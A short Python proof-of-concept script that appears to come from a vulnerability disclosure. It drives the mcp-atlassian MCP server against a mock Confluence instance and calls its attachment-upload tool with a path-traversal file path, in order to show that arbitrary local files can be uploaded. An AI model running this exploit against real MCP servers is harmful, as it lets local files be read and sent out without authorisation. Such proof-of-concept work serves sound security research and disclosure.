README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Real MCP stdio client. Launches the vulnerable mcp-atlassian server,
calls tools/list, then tools/call upload_attachment with a traversal file_path.
"""
import asyncio
import json
import os
import sys
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client
async def run(file_path: str, mock_url: str, mcp_bin: str) -> int:
env = os.environ.copy()
env.update({
"CONFLUENCE_URL": mock_url,
"CONFLUENCE_USERNAME": "test",
"CONFLUENCE_API_TOKEN": "test",
"READ_ONLY_MODE": "false",
"ENABLED_TOOLS": "confluence_upload_attachment",
"MCP_LOGGING_STDOUT": "false",
})
params = StdioServerParameters(
command=mcp_bin,
args=["--transport", "stdio", "-vv"],
env=env,
)
async with stdio_client(params) as (read, write):
async with ClientSession(read, write) as session:
await session.initialize()
tools = await session.list_tools()
names = [t.name for t in tools.tools]
print(f"[client] tools loaded ({len(names)}): "
f"{[n for n in names if 'upload' in n or 'attachment' in n]}")
print(f"[client] calling upload_attachment file_path={file_path!r}")
try:
result = await session.call_tool(
"confluence_upload_attachment",
arguments={
"content_id": "123456",
"file_path": file_path,
"comment": "poc",
},
)
print("[client] isError=", result.isError)
for c in result.content:
txt = getattr(c, "text", None)
if txt:
print("[client] result:", txt[:500])
except Exception as e:
print(f"[client] call_tool raised: {e}")
return 2
return 0
if __name__ == "__main__":
file_path = sys.argv[1]
mock_url = sys.argv[2]
mcp_bin = sys.argv[3]
sys.exit(asyncio.run(run(file_path, mock_url, mcp_bin)))